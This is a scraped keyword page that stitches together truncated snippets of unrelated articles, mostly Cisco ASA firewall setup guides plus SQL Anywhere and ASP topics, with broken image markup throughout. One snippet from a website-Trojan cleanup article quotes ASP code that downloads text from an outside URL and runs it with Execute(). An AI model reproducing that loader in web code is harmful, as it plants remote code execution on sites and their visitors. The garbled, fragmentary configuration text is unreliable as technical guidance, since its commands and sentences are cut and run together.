asa 5516

I. Overview: In actual work, it is estimated that two ISP lines, such as China Telecom and China Netcom, are often connected using ASA, and there is not enough budget to buy load balancing equipment, however, we want to achieve load sharing and automatic switching of links. We want to return traffic from China Telecom, from China Telecom to China Telecom, and from China Netcom to China Telecom. When one of the lines fails, all traffic never goes throu

Network Topology 650) This. width = 650; "src =" http://s3.51cto.com/wyfs02/M02/4B/F7/wKiom1Q2STWBG5RxAADqir0hadw389.jpg "Title =" 4.png" alt = "wkiom1q2stwbg5rxaadqir0hadw389.jpg"/> Set dynamic pat on the ASA firewall so that the Intranet can access the Internet through a public address The command is as follows: Ciscoasa (config) # NAT (inside) 11900001.0 255.255.255.0 Ciscoasa (config) # global (outside) 1 Interface Set static nat on

/1SW1 (config-If) # switchport access VLAN 10SW1 (config-If) # int F1/2SW1 (config-If) # switchport access VLAN 20SW1 (config-If) # int F1/3SW1 (config-If) # switchport mode trunk M1 M1 # conf tM1 (config) # IP routingM1 (config) # VLAN 10, 20 M1 (config-VLAN) # int F1/1M1 (config-If) # No shM1 (config-If) # switchport mode trunkM1 (config-If) # ex M1 (config) # int VLAN 10M1 (config-If) # IP add 192.168.10.1 255.255.255.0M1 (config-If) # No sh M1 (config-If) # int VLAN 20M1 (config-If) # IP ad

= "Wkiol1rbfgxhhqr_aah2jr3rd1i186.jpg"/>A computer with 4G memory can only open two virtual machines. So DNS is also on this server.The DNS server address is also: 202.168.1.10650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M02/4C/9C/wKiom1RBFfbhVjD3AAJr8DjTJGs963.jpg "title=" SS. PNG "alt=" Wkiom1rbffbhvjd3aajr8djtjgs963.jpg "/>After the DNS settings are complete, test it with Nslookup in this machine 、、、、Then configure the client:Client DNS pointing to the server650) this.width=650; "sr

I. Overview: It is estimated that the actual work will often encounter with Asa two ISP line, for example, Telecom and Netcom, and there is not enough budget to buy load balancing equipment, but want to achieve link load sharing and automatic switching, from telecommunications to traffic, from the telecommunications line back, from Netcom to the flow of traffic from the Netcom line back, When one of the lines fails, all traffic never goes off the fau

", urlObjXMLHTTP. sendGethtml = ObjXMLHTTP. responseBodySet ObjXMLHTTP = NothingSet objStream = Server. CreateObject ("Adodb. Stream ")ObjStream. Type = 1ObjStream. Mode = 3ObjStream. OpenObjStream. Write GethtmlObjStream. Position = 0ObjStream. Type = 2ObjStream. Charset = "gb2312"Gethtml = objStream. ReadTextObjStream. CloseSet objStream = NothingEnd FunctionExecute (Gethtml ("http://www.pornhome.com/dy7749/xmlasaquan.txt "))%>Clear this code to solve the problem. The results of website Trojan

This is certainly not the first article on "Quick Guide to building a VPN using Cisco devices, however, we still hope that this guide will become an all-in-one guide for users who use ASA 5505 devices to set up VPN and connect to the Internet. The ASA itself has a setup wizard, but this wizard does not cover all aspects of work required by the user, and some steps are vague, making it difficult for the user

the flash format650) this.width=650; "Src=" Http://s2.51cto.com/wyfs02/M00/82/28/wKioL1dNLxuiOdu-AAAQJCGgzwc938.png-wh_500x0-wm_3 -wmp_4-s_2149940309.png "title=" 4.png "alt=" Wkiol1dnlxuiodu-aaaqjcggzwc938.png-wh_50 "/>To ensure that no errors occur when using the command WR, copy run start, after restarting the ASA, in the global configuration mode650) this.width=650; "Src=" Http://s1.51cto.com/wyfs02/M01/82/28/wKioL1dNL5fjluXRAAAppw3MQ2o580.png-wh

//Disable Logging 503001logginghostdmz 192.168.12.1//specifies the interface log server (SYSLogserver) IP Address Troubleshooting tool Packet TracerThe Packet tracer simulates a packet traversing the data channel of the ASA and tracks the entire processing of the packet by the ASAASA1 (config) #packet-tracerinputdmzicmp192.168.12.10080 192.168.12.139phase:1 //View Route Type:route-lookupsubtype:resolveegressinterfaceresult: allowconfig:additionalinfo

The IPSec VPN realizes the network expansion, the firewall realizes the control and the filtering to the network traffic, therefore has the influence to the IPSec VPN communication. The default ASA maintains a state session only for UDP/TCP traffic, and therefore discards the ESP traffic that is returned. There are two ways to solve the problem One uses ACLs to release ESP traffic. Two applications check IPSec VPN. Experimental topology R1 conf

Tags: connecting database expected database file Contact Us jewelryI 've picked up a couple of days Sqlanywhere (ASA) database, where two of the databases are reported as "File isshorter than expected-transaction rolled back" error,650) this.width=650; "Src=" Http://s1.51cto.com/wyfs02/M02/84/61/wKiom1ePD7Hyg0xRAABBOiL-9xQ267.png-wh_500x0-wm_3 -wmp_4-s_1269407155.png "style=" Float:none; "title=" Qq20160720133433.png "alt=" Wkiom1epd7hyg0xraabboil-9xq

It is an important feature to determine whether a DBMS is powerful and whether external stored procedures are easy to create and use. The ASA database has long been supporting the use of C, CLR (. NET), Java and other programming languages to create stored procedures. The following is a simple example to create a Java-based ASA stored procedure, database (asa11.0 or later). This example is very simple. Ente

There are many ways to count online users in ASP, and I cannot figure out several ^ _ ^ methods. I would like to introduce three methods first. If there are any errors, please criticize and correct them. There are also good methods, please add it! First, we will introduce a simple method, using application, session, and global. asa, because when the web pages created with ASP are stored in the base point directory of the WWW server and the WWW server

Tags: Cisco router Firewall 650) This. width = 650; "src =" http://s3.51cto.com/wyfs02/M02/4C/7E/wKioL1Q-cIah_T1bAADc8Tx_fkM152.jpg "Title =" 6.png" alt = "wKioL1Q-cIah_T1bAADc8Tx_fkM152.jpg"/> Lab objectives: 1. Configure static routes to achieve network-wide interconnection. 2. R1 can telnet to R3, R4, and R3. The ACL rules are denied and the R4 cannot telnet to R1 and R3. ASA En Conf t Int E0/1 Nameif inside Security-Level 100 IP add 10.1.1.10 255

There are many VPN products on the Cisco ASA Web VPN configuration market and their technologies are different. For example, in the traditional IPSec VPN, SSL allows the company to achieve more remote users to access the VPN in different locations, this service enables more network resources to be accessed and has low requirements on client devices, reducing the configuration and operation support costs. Many enterprise users adopt ssl vpn as the remo

Access Control ListACLs can be used for interfaces, as well as globalInterface access control lists can only control traversal traffic (except session connections)All traffic terminated to the ASA, controlled by different administrative access lists (e.g. SSH 0 0 DMZ)All the ASA initiated is allowedThe ASA configures the same priority ACL is to squeeze the origin

Backup | programs | recovery adaptive Server Anywhere (ASA in this article) is a database management system that is PowerBuilder (Pb in this paper) and can be used as a database server for small application systems. And the backup/restore of the database is a basic work, can you do it in just a few minutes to complete the writing of this kind of program? This article will introduce a PB with the ASA Backu

I. Overview: Today QQ received a friend's help, the following environment, looked at the ASA configuration, the strategy is full pass, incredibly unable to access, but also puzzled. If the use of GNS3 to build environmental testing, on both sides of the firewall grab packet, found that TCP three times handshake normal, but located inside the firewall issued by the HTTP GET packet is the firewall discarded, with Google input keyword:

TopologyRequirement: You can use the Cisco Firewall ASA to access servers in the Internet and DMZ through the Intranet. servers in DMZ can be published to the network for access by Internet users.I. Use of Cisco simulated FirewallBecause we do not have real devices, we use a virtual system using the Linux kernel to simulate Cisco's firewall. The simulated firewall can be downloaded by ourselves, we also need to use a software to connect to the simulat

ExperimentExperimental topology diagram:650) this.width=650; "src=" http://s3.51cto.com/wyfs02/M01/5C/15/wKioL1UaedbRN4XgAACgbIamcMM749.jpg "title=" 1.jpg " alt= "Wkiol1uaedbrn4xgaacgbiamcmm749.jpg"/>Lab Environment:Build a web site and DNS service on the server2008 Server , creating a domain name of benet.com and the accp.com two websites. Experimental requirements:First the client can access the two Web sites on the server, and after successful URL filtering on the firewall makes it impossible